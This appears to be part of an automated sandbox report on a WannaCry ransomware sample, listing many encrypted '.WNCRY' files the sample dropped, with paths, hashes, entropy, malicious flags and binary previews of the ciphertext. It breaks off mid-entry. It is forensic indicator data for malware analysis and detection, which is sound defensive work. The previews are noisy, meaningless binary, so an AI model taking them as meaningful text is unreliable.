                                                                                                                                                                              Preview:WANACRY!....(..{X.`.PN.2...E........3S,./l....4@sV..J$.IP..`.}.\.g;X.r..ZE....>,Y?.j......I..g.|Z...'.:..C.~.9G...l..^\+.$...@.....].1.]+.|}....D......?1Oa3.k.e..#.E......3p.J.....!....O...Z'(.....=-...R....xI.. ..l#q.{."7C..s...<.pS G'...>..mS.....a....}.............,..,.q..6..{U....../!Z7.......M-..a{E._MW;2.......Q-r.^.....m..4.k.'n......o,$..{.../A.H...3/_{z.....P...>Q.M.K.(FvQMxQZY..,g.C.....h...:B.p.[.......b..?.H<Q....}e...{....2....>.(o..w...5.....\.$Z....A.T|..>K...7.9......>.y..6.)...z.1#..'........).D...U.5......K.?...X\N.K...1t;.N.....p.....D....`.8.pg.o.j.M...[y.........._.]R..Fcq...~..AE..DZ.....T&t.2d.'...$....4.... 4..c.d...._Nz.#...-.....@.P.#.*.K<.X..I..3+...$..]b..GJ..>.~."...?.8R<.d.~....<.B..."..'.a._.@.a.d..d*[...7&~Y......q..sa........&.D+.I`"..2t.....J.<.&)...JZ.n.s.1..|....0l..k....lW.~./..kQ.&..y.q5..g......E,.-G.I...I...i.=...r.3.%.G......1[.1X5K.b'...4I....!d...^d...%.u..].....7...'b.C....v.}.y.....h2.e.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\h0_ymK9wPEJMicnVALPw5taHcNA.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2184
                                                                                                                                                                              Entropy (8bit):7.923520494029752
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkKBJ829CIgJi2GxWb/CAgpPKslRvcxYg5hg9fxztrF:oKf9EJi2Qi0vcxj5hadtZ
                                                                                                                                                                              MD5:A8690FCC0F66E805C466863AACCDEF72
                                                                                                                                                                              SHA1:00D4194940259AA8D93C0D7018EABF69A44A424D
                                                                                                                                                                              SHA-256:2309B746C1F4E6959FA751AA36FB88849380C857DF28BD15D224BA3ADB7ACAC8
                                                                                                                                                                              SHA-512:0265C8FB4BCC42349F993A7D4E9A41C36D34E5C4DE072854A3B8C3BBE3311BE2A14C4D357BFEA3FE107A38A2AE747CE14820FD5EBA02C37D51E765BD50EBED4A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....+......S.4%)...8f!......US....tK...gv5.K........N.'I?.J...q.Qe... ..*.a.-Q..V...o].{VTA^.t...@..G%(D.DjK.........N....../U..E.K.c...M7.......1...{Sg.>PF.>\.....Do'n).k.V...G"..FE.n.9.Y.l.n......F\<J....5...\ah...:.[.S..B+.F.....;8...r.Q...w)'f..M3....b.......9...l.NO.g.5...+`{h.......r..,T=}.Ly./ ..~j...+....I..?.8.........}C=..........V)xLT...g.........,...q.j#.t..x......S........VO..}.Kp..<m.r'*..]r.{.t.]u......}...m6.x...6#.N...M..|.. ..R.$.5..J..y.[E....A,..........)[.Z.4.n..d.HZ..=.U.S.b.M..JsM.N>....L...:{M.9.J.q.....}I*WoQp........LZ.m......\S._..P..(l.j..Z..u.......2.J.;.h...F...z.9..F./A......./G....]k......,X`.L.......=....`D...t.B... .&..,.=..K.L.+.U...}.W.uq..\.^Ja.....K..V...:w.E....T...'..r..].............g.>.O8.!..g..1.H.;.5..s...).;...W...h..6.p'..lyW....~.....q......2.;q.....!......h.~.o.5>...\..\^G.....?....3D.....*.=#X....Wk.c./.../.k.%...:.&...^l.|.?..%.....r*.;...Z...PF.(.s..-....[.K8u..~)1......gMg..0..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\lh0O3d6Fmm9PYPDqG8PqHJ4MS7w.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):71000
                                                                                                                                                                              Entropy (8bit):7.997760971515586
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:ofFefwEiJP4wFMptzYSsFZT6oXGYdXiE2XEUUjpqLSVdmSjG:oflPTFMpt9oXGcihXEzjhVQSjG
                                                                                                                                                                              MD5:43C50513259051CA0BD5350AB75859CD
                                                                                                                                                                              SHA1:26F4A1CDBC3D65CF6C1FC122069594B6773F0FE2
                                                                                                                                                                              SHA-256:249DD52563BEE4CF344137576FAD19FD13A00A75340554F5D6AD0E5F1F97E942
                                                                                                                                                                              SHA-512:476F6335F5B638020791F557160EB8332816CCF078781B33816AE5C12DAFC8268DF8EC6C454BF77FF7E2C2ED0D37708BD9D333D6F7084988B7C5A6F9B49F73BD
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....NX<..A......iM...h...(.s7/.*.z......5].5.J.#i.I...x.....B_.GFg"..l...vo.&.w...w5.%27....... .t.Nf.R.'f......G...\N9...._.OA.O........l...g./...i..+..........(.J...8...|\[......t.....C..e../..47.X.u..*R..#a.aU....vO..?...i..L9.......NJ.@..P.;g....;.........f..6.B.E.<.m../..tC#1.I..1.L.k...-.O..../{.Q..Mp%...?.X...X..0.W.}.~%L....$.www.\.r.^......W......../4.N3!+5..Gl;/S.BT/......o.&....OfM..g.=...%...xf./b.....(..2e...C......:.l.....d,....X ...i;..:.....o.w%......#6x.X.l.R.....AS........j......o........Q...6.M..t.|5..""..Jx.N.o...n~..v?s.}.%EZ....%.NDh.&....G..Y./..I..)l..L...l>....u..#...&u......m......#......ji.w.i.k.....z.j2..X...V....H.{H.._D..2!."......VW.....}...............D.l....1_.`=.<W!aX1..ia}uP~...9#B.]....^..........2.V....h..z.dS1..i....Gj.[.9.=....zFG....l.'Q).Q.....0'N.:.N<.}..=..X..>.m.V...=..."j....4..g..Gl.2..}.K...0..5.vz....=.9.j.RY..V@...^.*|.i..U....lM6.}m<.Z.....{.hp..?Bs+.0..,on]...c......U.-...Y.8}. r....

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\lpbsfnKE_8agtRF97FH08WFLR1w.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):344344
                                                                                                                                                                              Entropy (8bit):7.999436272890211
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:fPC+h/4KhkjQxE2gheo3c6TLNAEE4VbeazSnDgw2JJSjPRtA3S7chPS89yMU6MjB:fnzgQxECoM6LNAh6TzcgdPSjp4EANTMl
                                                                                                                                                                              MD5:8C995714748880E108DFB27D03A2D06D
                                                                                                                                                                              SHA1:84DEAB73B39A834437733BF0DB4DBDE7EAFB3A3D
                                                                                                                                                                              SHA-256:CD0432D9B18213CB12E5AA12B862AF41F85A54ABF4695053587D770FCEACB508
                                                                                                                                                                              SHA-512:E5A34DB21A78E5EF3026FD6CF95BE8F03D5EAC01CF6B00AAD7041CA50B0E555810577C4432C17130E5CC5F6AEE7868E9826AC74047A49245F293E2C82202E8D8
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....l..}.C......KO......'..s....N'M..Q.I*..s......(.....Xd@.m.u\j.mC.d.P..>!......\....lp.....LJ..:...Z...H%.e...j.{(..3Ml......E.8.w..Cs9.....t.....5u.H)hx.{.....H.....f....W.../2..0+.J.`.P..v.F.`.7...LS..........S}.q..n?....~CY......j#WW....I.....?......>qh.6.{..C.A.7......U...IB....uV.h.|L........c...R...>..y.>..`..Mw..W...Q.c.J.J.6......U.%..0..S."...,.a..q.....P.2.....:...#....m....nS.+..3.yw...U.nm.E..U..A.Q/...N)Cr...M`....[..6..l...1nP...S~...2.j1.we..>#.....M....-44./.....E...V.a......p>U...8.'..\...x.CW...<z..Z6..E5O.Ys.t|.w.x.)7.<G._..P..$<BF..<.{.....+x..b%ht..Z....)..E...PfvP.;3.^.p~S..:....L....h.k....WN..L4V0f.>H >.r....t.......C%.S.Q_.....jxf...R..s.(.g...vb..J......D1..%A.l....l...'*A....&.ug...x......4..c.]...Y...h.V..CR?.....;...V..0.O.......cf?ED..Cj:.,.b.ir...?...{]...M.x.^..E[.X<..Lf."..l...F....y.......i..Zpmi5m...t]..}".(...L1...'.O:......Xol.....P+...E..d....c|.e..>W3....C);{.p..X....O..m....UA.I..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\lu0mWeI3G2l7mRreeuIGIzuL1cw.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):7752
                                                                                                                                                                              Entropy (8bit):7.976191256304998
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oa+VAQeWe9JzRJRpMZ48rs36nXWmEkm2GXvB0j4xkxxZBoc/EKMehxU4hswmnHkF:VMAQzcdRpC4B6XdRm2arkx9ooE7x+bnF
                                                                                                                                                                              MD5:7F671EA9CE839A19DA00D79373DD5BBD
                                                                                                                                                                              SHA1:BF6415533E00091F5FB515C5ED3028EAD8F221DF
                                                                                                                                                                              SHA-256:3AA9411DA51541B15A2D7FA8826D1E5F0C531A64D8DAAA4E2471B69DF8A849E2
                                                                                                                                                                              SHA-512:51B561799F2A14094FE742D8C22879E289B02F2C1008A0B856A95205B218F3CDCA38CEE1577FDFE36BFE42B334B3FE34A4744C8C0C52B21FF7DC8FF42CCA9175
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......h.(|..... ....=.j..'3.*..x..O3.....yv..%....n..d.]:...Fj.....5....d5!.14.V.N.........)......uf.6*=.......~9.............l..>.B\.PJ..m..HK9X\S $.I.El.A_....l.C.".........#..}...B.D-._......@...'.Nd..I.....y...6...%...D..#p..'}..S.Y{.$.F...C..B.....$.......[......O{.BSAs.-+v:i2.w/.D...#.<qfX....z..iE..N.?.Z.....E\...%.w..38....l.9........d}...~..c..H..S.=..j$...S.#y\....)A....G-.+.......*.7...Q.@P.0Gv.......).8TDY._:...7....[C..Y..YL...!...n.$sSw.G.L.ipP......h.#.....R.t...2../....glN.v...7...C.D`...[.Qc../8.Q[.. |..sY.......1~Lz:.......E.9....\.....@.A..QS..gl...m...b.9e....v.?H.=.E.a...2...?+"..f...!.Y.'...[....l...k..zi.....3...Tt&.l.=,...^.b.P..o*z.....y...z.Q...P..SKC...;...,.H..V..F.#a\.`.#5.%.P@..{Ua.qr...>.....ANd`.....O.....X]U...!]$o.k..]......oOm....khk&...)ij.....#...%..2)..hK.z"@.Qu=lS[.iA.4E....<...5..*"..@t..f%...K.t...=z'..%..FZw..KEF....7...c..1..{ZV.y.1:..JyR.l*.........w.../.....V.)....2.T.cX.{.."7

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\ny8zro4pDGbiNebl2UkdFP3COms.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2344
                                                                                                                                                                              Entropy (8bit):7.917269676040732
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkRYlQfTEF9QMuqk0+j4O9XTCmC9+VXuPmkSEnZ0+guDLo+/3u+NMXC:oWlQ7Byk0+EJmdhuPmQDgSLp/vp
                                                                                                                                                                              MD5:CAEC18594D7977A38BCDB80C0B225C5A
                                                                                                                                                                              SHA1:0B7C5A872987FC379B92FC2A8018BAD9640E4133
                                                                                                                                                                              SHA-256:46819F9E10C53F584668F94E9225C94F3A75996AF6856B7BBB6DEBACFBAAF5A3
                                                                                                                                                                              SHA-512:97B17FCC9F9CAF0C981530EAD9284F5756027572966681B974A557E2054E2BFAAC375788EA4A5221F52A50A26F2D0904B15ACD79131064D3B58AA93F396ED994
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........D...J.Od.[5s)...e..Ky.._Nxd.<...O.."./...cN.".gs..u..`.h.^..."..R..GM..5...u.....%Re2_....$.]."0..).N....w..U.W..1..o..TN.&.).4M.^.C\M...L[#..f.... ?.......<gWu..j.O=...D...[}7.f...&..BG.....3...~...?.8g.o.`...Iy.XM.._.bMS.&...P................r.i...x.,}.....\+.vH..].....J8S....i..9<h..{....q.=~..w4l_E.....hgg...|@x..U..Z..0....i.:}rC..0b...1.T.{S..1..k...Y.#6..4..H..&Q.....^...O."..R.pC..p6%..BG.;....e@..p..z.T..w.h.-...^.'..|f9.J......x...f.&..3..J.t..........1`....V0..*?.../.~.......Y1Lg.....D.!.%..l.L.Hx...y..mR.....-.HQN...hr....i..r2.{..Z..,X.AM.x>..A......@......e.PK.A...&nc.|..j..'.....XB.....\.$D..N.2./..J..U...^z...!f9.g...c.2Q...S.A...P.j....oUx...#.p.....*}.f..g..3hEJ].aD...5..p....Z.jXQ..q..d...b..";....o.i.....a....;9o.qH[...I...$_[....(]..%..Nr.P:y..z6..\\..~.+.zj........}.....'..9.d..v....x...5.tR.....Q.......p7g..]>.....H.Fc...r.8.h.f...b...n.{.Q1.o.E..f....w..FL.A..<|C.....6G.A...9t.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\ocVwefBywNlFIk_znEkIhQTcXYo.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1880
                                                                                                                                                                              Entropy (8bit):7.899595579636506
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkeO22Hx/zgzbQI10Mx/P3TbOMFzn+EjMKLQawfPoHZm5Bq3:oeL2Hx/kbQa0MxjSMV+EjZ0fKZIBy
                                                                                                                                                                              MD5:FE70FBD52113FD3E3E601921B34F7BD1
                                                                                                                                                                              SHA1:4CDD78DBF595CAC093324A4F360B4627B872B163
                                                                                                                                                                              SHA-256:718B7F7640B5337257AB8000321BA5BED754C6B382D2D54502218DA743012F85
                                                                                                                                                                              SHA-512:376EBA68FDCD392449AB6DB5A576C1AD6BC09B1C79072D71756957EDDB49CD1DAD69D63A498D51E5C40D7A613A5FDBD76A3DD57A5DC4126D77E905689203315F
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....:...r..z...*.....n..X...4..s.)e.ZWg1`E....o..`;.4...I8.u.2....3.As-........n.8j.Ib....Y....F...'......c(;...Z.h.w.".6.W..3.aE.~...~D........!.V...vq3.......S...T].....].F%._BY...E.....kh.=.u.....knfJ11..Y.....C.i.}p...2.i...).6;.....C.RS.....J52......3.......b.~B....q..._0.r...c9k...o.....w..T..+@.7.o.V....i..w3.z....K...w#Wy}.E....*.U.`yL^.z..E.)......)*.......{.~,u...N...btq..M.+Fy'._t..i.*.kgN..].....G;.....$.Z.CV..&.%..'....g.c...}A.<....].K.U...bf...}/v...cv.n.{.je.%7.......s..B.U.%.Oh&Q..~....@.l...DS`.>:.#..mt..........+..7qw..nl....}....i.i.M.h...5w.$jY.cc.t-.yB#..:.J....lw.%=h.~...rO...x....G.@......$ma]..0...S..".`e....2.EP..m..Q.2D...Al.j.n...11.....S&.5M.$.E.%]...mAL|S..3.':R8Q.N....n........$B..._......{v....._..j..S.Y)n.....%q......3w...`...1.V..2$....."....+,GH:..^&.G.O.D.rn.(.M...g._.. ..@...-...(..[..!.8.....v+JWO....SD.......Az...6..1<........*.(AI3........./:.........]..>u...b8J2(.u......".n<..i....T..~DM.]...

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\q11NvYzJks_3Zy5BRKPM9baeQ7M.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2152
                                                                                                                                                                              Entropy (8bit):7.896747265869269
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bk2Ta8i7mSWYmrsuY4ujE+Z/rfi6wR+PlrDmOVv9d/nUly:o26aSWY2jc/rfi6wR+Ntd/N
                                                                                                                                                                              MD5:E25BF3A0912BEB039D2E84EB486DCA6A
                                                                                                                                                                              SHA1:36E3AD85739B8826217FE912C06FE3518B5B6019
                                                                                                                                                                              SHA-256:0F91FA9DC0CB76B1B33ED3C786821501D237BB9F9529218A348BF7B37DC2344A
                                                                                                                                                                              SHA-512:634E88B21F7B18A27B376C638D4069024324B86E517A06E1D2CB2976CDDBE641B27A70D7592B94DCBC32F37D57D7542E0A4B03AD57CB0F0E3E5EB68BF908AA0E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........<.G_........r.....::.....-.h...4.t.x.-Sej....E...6..V..w:.....F.....$7..,to..h..y.....Cb..@....kx.-#.O..*..A.Yv..O.xJ@...91.v.S.as9h........:...a...a..G.L....!....T.h...Y.....&7.Bx...$..3.q.b{23y.q.....D......Y.f.f.UWT..q..lE..~.......B..e....C........\....n.....h..|-@.'. ...X..Ux..y.B/EP.d.3.$(.qK..'..n:|.0:.^N..J@.|.*wPx....V8...I..D.u.:..[=){...Q..U.#Y...5.hv......B....I.SJS...&....O/...9Q..[.,Q.m........]..w..Kf.....(SR...isK.B.?..@......m.V......I$LB..4...V.M./.w..}.../.......q:.....>).HD.{.]..(.q.....Es.!......H.o.vV...@:.....6...%........CA9.......+..8......<..........g.?..@.g.....c....rr6.-. ..61....S,3/][.d.iS....e.!...Cd@.8E/...+..Y..h..K.D.9..[..B..R...,.^...]".<..y..2.w..I........Nl.Bk.xh.t.*b....B..}D\$w.....D......c.._...Y......!...3x6/t.[$ha...sK.,.Vqp[...5*.C........@.=...c.Z.s...e.|.Fte/......o..qTB....?kL...1.O#..8y%...=.7.Ru...h.x....[...xC...G.c.O-^.`..]+..S...d.. c;-:...2.....QPZ.....W.w.j\...L.>s.xw.7o....j.J.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\qdqeXxV0K-pUf7kHZCeiMawV6a0.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1608
                                                                                                                                                                              Entropy (8bit):7.879936775721327
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkX/38SF0QewMS377m2Ygqt+MYDJ4200s2d:oPvvMSLS+Ta20T2d
                                                                                                                                                                              MD5:E05062DA3C74F1B4FB3248BD6242429D
                                                                                                                                                                              SHA1:02FFDB14189A1C91D7645D10C607904C447E810F
                                                                                                                                                                              SHA-256:399D6A105057608613DB76C4C9ECFCCE4800391DBE9DD7827CD145A6CD594A7D
                                                                                                                                                                              SHA-512:2C495A8679D1A52EC8417A5AC056C1152A884B9558E46C2C3E9AC9422F0C4206C646058E4A96797734CAFCC376BDBBE5DB687D1E5575714A99AA551BD1A47ACC
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....a.R.YV..ay`...LQ.../...u.1.c....\.O..+.=.~D-.$........:...(.. r2K...2.|B4<6..\r...{..\H[........@@...t.....l"...)N'w....".R...1.bD..=..>.g....zo.F..L{E...i1Q.u\..*......J3J..P..9!y?.b:....H#bE..2.)\...?..6Kp..U.8gaU\.Q~8$p...c.._A...Y...".. .}....#..........*...q.x.%;....[X.....*..$.`...m..V..Zy....Ic....Z......U...n7f.......w(.A..-.c^.?.1.d.....^....0".....t...I.|-S..d.....O.....3...F8........j..2.......".Gh.>....vI%...~^.........k...b. ...5..K.1.L_5......}....5...._.6.I.B..n}.}.......y....Y.W2.TZ<.?..D<J.E.bJ.>L!1g..DS....l..1..g.R&...7,s.....O~....1.]..z..GqA..."....nW....m/.i.v..D...@........n...,...+.LC..e..y..'9..j..h^...|f.(...O!.6...E."....5.mj..}98..,....x.`.|..U!..i..}.....M..;.......A.[.?.C...|...a...e..An.I..R..U........L.+.h.RU.".=..Q.#.a\.......>.._J...z.<p.M.S-z.4..e..-FC..a.%>.....E.k..-...H.........m.8...@.Q..;...;.......]..............Q.....9pG...QB..m.....$..=..{9..~.!\OH......M.>...+....B.......J...]Q..[.YT{...

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\rUQ8SSsIzKcgb77SIOCfnAbpfB4.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):408
                                                                                                                                                                              Entropy (8bit):7.437714380472901
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkENJLqHmiYj+3PLNMcUex0E4K/KMKiWnCb/tgeDUl/RDmJeHlePlCQSM+6r6p:bkEzERMcrIC/th80sAPkS+l
                                                                                                                                                                              MD5:866DDED0BD772338ED69F9B3B769E123
                                                                                                                                                                              SHA1:61051B38D63878EA2B859AB5AED54C23A0AF09B8
                                                                                                                                                                              SHA-256:6BD8CF504F2827EFAE18D76A22AF9127C7736867A4DC12C2BE1A94EB0F9F347F
                                                                                                                                                                              SHA-512:A4C6F0D40C248ECA37B6BB3EBEF74D0EDCF2F666D1D8746101F8CFDBAD570A7F56F9C02F7880D6572F40C97EF67793E8B3F3F2DD3F07DAD597427B936F2722BC
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....,........_1...%..]!..e...Y..o.e...`C.4if.].<.)C.+.M.QS1..YT...T.xCo.b5.N..(RF.aq.....y+.....l...*.OSW7..hvC..V..\..rQ..^MA..]...6...../{.'.......I.+........^\...r......kvo..q..J...7..`.P..s......l...1..h./K. ...RS....ne..o......oA.k.6<..UpFsE......q.......b....&.........h.93n.....P8..=.?]..CE@.@BRE..X...Y........t.q.kC\Z...]....g.XJ...H.F.Ji..&xY.....S.i...,<...~/.Q;.*

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\vPBP7RPIJrbNZlhe-HUXYkcDX0A.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):58984
                                                                                                                                                                              Entropy (8bit):7.996950833043646
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:Z2dtbIgpMI3MmHkdjRGqHgXJIZqceFXsGV0YvbCjrClAu4J/0AUt38it/1KHXn11:s33lEdjAasl04btX2/tqKHdJ
                                                                                                                                                                              MD5:BE527526E0F45E56FFB230FD8E9F9097
                                                                                                                                                                              SHA1:3C665378782A75D2A0886AA74600F84222C7011E
                                                                                                                                                                              SHA-256:197DEB93BC7602BE372A5937AD055469383513F55103EAA28847B3D8DA005A9A
                                                                                                                                                                              SHA-512:C8F80B6602CF5CFFDA384A78EE21EA48CDEF7B13FE16A672B1184E0D955F77AB20ADBF3104A08714D128C09F893241E3CBB29A4BBB00C9DDCB0EB0813C59D359
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....Y..eR1[Sr..P.U..3..ka.`.E...E\...H`.Zbh....rX..Q...w_[...k^T...S.r._a.....j-...+..8.9.7....Y.....S....hz"^E#.q....~k....kf.?.L.I...<.tV...ER8.y-.~..YhH....S.q..8W..;..a..8L..C......W$.A1.....>.....:n.....2c..84f.r.;mZ....o.#f..e.r.h..@..x.....=w....G........./..7..&...!.w......}....u.s@#.#L.}....Rx]......M C.d*@.B..E5!..Pq........~....p...^.0...(..fv..V/......".._...AS.....P....I.{.&.sZ.l..D"O..S...0r..{d...ns.d..r.;...[i..>..q..Howw.;...T.........b.._-...6iUN..g.1...X..YV6........ ..>....6=\.4.t.....vF.$A..,.......C....(.....fQ(j...u.a..Q..s....E.&.....'.Tw.. .zW.^E.}...J...m......q1.....Iuo...D......8...E).k..s..)..sr!.....-]O..e...M.0#........nkn.....-...V.,^M..h..P.(.].F6K.G.`..../.?}.......\e...B].j.-.......:....H+..oC+..u6j s.v...J.1.Z .N.c .....6...b..+.#.....#......k.6.....]...........q/g...b...f6o.......[e....^n.jd....1.......Y}......c...%.>..)$..+....[5>_??..CS=.[...t._....j)O$.gt.l.T.,..8.j......]O.lY..`..0..{.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\x9TiBFKPhYF4yOf0IfKaPIf64qI.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):127736
                                                                                                                                                                              Entropy (8bit):7.998345299625736
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:h7gMD+1IF8RAr0m34bpAPf/urmRh0U8chLDL6vy/q72D7QN:hEMD+1IYBbePnvGUP1DL6v/IkN
                                                                                                                                                                              MD5:36E2FA47337CBDED61420579D3C5D18D
                                                                                                                                                                              SHA1:71FB644E242C94C62E379F0C3F9F5774B05E0218
                                                                                                                                                                              SHA-256:58D9B08D247B9BBD0DD17B1E34785CB80FD3B2CFB74C65AB05736B571AD64BBD
                                                                                                                                                                              SHA-512:B46A3BD00599789AD2B2C018E9F1D55240F33083BFBA3B6CF2DC9AE74FBB866B74F32C2E276E5C0EA3B3AD75E1F5AB3ADB564E6CE75501CBEFA0498216054CB3
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....-....{..A.p...\./.<.t.[.i.qra.&H:(.#....(~....2...nA...".[l.f.<..,......v39!/..1.......HMT_.c*l....5.,9?...}y#m1?4..-.w)4.:.9.U...>pTh9(R.c.KR%.{.nM....i\:.G....=Y..._.iF...c4a..Y........[nzF.|+.....|+..C.<...l.....Z.._S4N..jT.r.....4Cy..AAU..................-1%..Z..&...y.I..fr.....*.Ul.."l..}...f..kz..Eb...>.....J..Z...".N....#Kox...y..<..Q..f.!..h....dH,.pO..(.C.7x.....A..A:.GUpE..p.;=fR.....M......5..^.LN. ..o1..!gI}Vw.="..u...........Zb..3.L.$L.....g.0..O.f].....J\.(.}....}f...3....N.m....g)!.......c\.3..FY.....A...%-b..QyEO.e#W.^..<.S.>.-.5.B$..k..R.6MI.......l(........7.u...y.ZZ.K..Yx...oKOH...K!..o..`0 .''..ka<....A2}.'.`.....wO.w=g..,.@.Z.....aR..W..TY.%.7q.....E".........w......[.5..O....*.M..K..x..D.e...(."-8..D._.....3...x.oO.r..\v#.L.Q......k....-.^.[S.L...! m.....f..l.z)~ d..4I..d.........a?....T.Rt~.6X..Mi.m..FC...[.~..&.. ..|"f).wJ..KV...V.X.+..SY.9r..n%....3IQh..h..(........)Z7Ty.8..vAh..:M...C........._!......,y.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\xO01H2dEYfjtj69ouv_nR5Al0cU.br[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):173608
